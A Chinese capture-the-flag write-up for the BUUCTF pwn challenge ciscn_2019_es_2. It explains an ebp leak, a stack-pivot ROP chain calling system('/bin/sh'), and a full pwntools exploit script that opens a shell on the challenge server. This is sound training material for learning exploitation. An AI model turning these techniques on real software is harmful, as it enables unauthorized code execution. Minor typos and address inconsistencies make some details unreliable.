欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

[BUUCTF]PWN——ciscn_2019_es_2

程序员文章站 2024-01-20 09:37:16
...

ciscn_2019_es_2

附件

步骤:

  1. 例行检查,32位程序,开启了nx保护
    [BUUCTF]PWN——ciscn_2019_es_2

  2. 32位ida载入,shif+f12查看程序里的字符串,这边的“echo flag” 是个迷惑性的字符串,它只是输出了flag这4个字符,但是程序里有system函数,到时候这个函数可以直接拿来使用
    [BUUCTF]PWN——ciscn_2019_es_2
    system_addr=0x80048400
    [BUUCTF]PWN——ciscn_2019_es_2

  3. main函数
    [BUUCTF]PWN——ciscn_2019_es_2

  4. 程序主体在vul函数里
    [BUUCTF]PWN——ciscn_2019_es_2
    读入0x30字节数据给s,s大小是0x28,只能溢出0x8字节,覆盖到ret,没法构造太长的rop,但是这边可以给s写入2次数据,我们可以通过第一次输入来泄露程序里的ebp地址,知道了ebp的地址就能够推算出参数s在栈上的地址,第二次直接往栈上写入system(‘/bin/sh’),之后利用leave;ret的栈劫持去到参数s的栈,让它去执行我们布置在栈上的system(‘/bin/sh’)来获取shell

利用过程:
一、泄露ebp
printf函数在输出的时候遇到’\0‘会停止,如果我们将参数s全部填满,这样就没法在末尾补上’\0‘,那样就会将ebp连带着输出

payload='a'*0x27+'b'
r.sendline(payload)
r.recvuntil('b')
ebp=u32(r.recv(4))

二、找到参数s在栈上的位置
首先下个断点,来调试一下我们的ebp距离参数s的位置,在main函数的nop处下断点
[BUUCTF]PWN——ciscn_2019_es_2

[BUUCTF]PWN——ciscn_2019_es_2
’bbbb‘ 是我输入的参数,可以看到ebp距离我们输入的参数的距离是0x38
[BUUCTF]PWN——ciscn_2019_es_2
ebp-0x38就拿到了我们参数s在栈上的位置

三、布置s栈上的值
由于我们要用到leave;ret来劫持栈,所以先找一下leva;ret的位置
[BUUCTF]PWN——ciscn_2019_es_2
构造

payload='aaaa'+p32(sys)+p32(main)+p32(s+0x10)+"/bin/sh"

第一个’aaaa‘随便输入,如果一开始将system函数写第一个,那么我们在用leave;ret劫持栈的时候要抬高4字节
接着跟上system函数的地址
后面是执行完system函数后的返回地址,这边也可以随便写
之后是一个地址,这个地址指向的是我们写在栈上的’/bin/sh‘字符串

将参数0x28长的s补齐

payload2=payload2.ljust(0x28,'\x00'

四、栈劫持,获取shell

payload2+=p32(s)+p32(leave_ret)

完整exp

from pwn import *

r=remote('node3.buuoj.cn',28967)

sys=0x8048400
leave_ret=0x08048562
main=0xdeadbeef

payload='a'*0x27+'b'
r.send(payload)
r.recvuntil("b")
s=ebp=u32(r.recv(4))-0x38

payload2='aaaa'+p32(sys)+p32(main)+p32(s+0x10)+"/bin/sh"
payload2=payload2.ljust(0x28,'\x00')
payload2+=p32(s)+p32(leave_ret)


r.send(payload2)
r.interactive()

[BUUCTF]PWN——ciscn_2019_es_2